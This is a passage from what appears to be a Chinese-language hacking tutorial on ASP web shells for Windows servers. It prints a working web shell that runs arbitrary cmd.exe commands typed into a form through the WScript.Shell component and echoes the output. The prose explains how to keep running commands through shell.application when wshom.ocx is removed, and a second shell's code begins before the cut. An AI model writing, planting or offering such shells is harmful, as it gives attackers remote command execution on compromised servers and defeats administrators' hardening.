<object runat=server id=shell scope=page
classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<% end if %>
<form method="post">
<input type=text name="cmdx" size=60 value="C:\Documents and Settings\All
Users\cmd.exe"><br>
<input type=text name="cmd" size=60 value="<%=request.form("cmd")%>"><br>
<input type=submit value="cmd 命令"></form>
<textarea readonly cols=80 rows=20>
<%On Error Resume Next
if request.form("cmdx")="C:\Documents and Settings\All Users\cmd.exe" then
response.write shell.exec("cmd.exe /c"&request.form("cmd")).stdout.readall
end if
response.write shell.exec(request.form("cmdx")&" /c"&request.form("cmd")).stdout.readall
%>
</textarea>
当服务设置卸载(regsvr32 /u C:\windows\System32\wshom.ocx)或删除
了 wshom.ocx 时,我们还可以使用 shell.application 组件来运行命令。在我进
行测试时,发 现 海洋 2006中所带的 shell.application运行器无法在windows2003
中运行命令,在 win2000 中倒是没问题的。
在后来的不经意的测试中,我发现了使用 shell.application 在 win2003 中运
行命令的方法。代码如下:
MyCode2:
<center><%response.write "<font size=4 color=red>shellapplication 执行命令 无回显</font>" %>
<BR>程序所在的物理路径:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%> </center>
<html><title>shellapplication 执行命令 by kyo327 </title>
<body><br/><center>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<br>程序路径:<br/>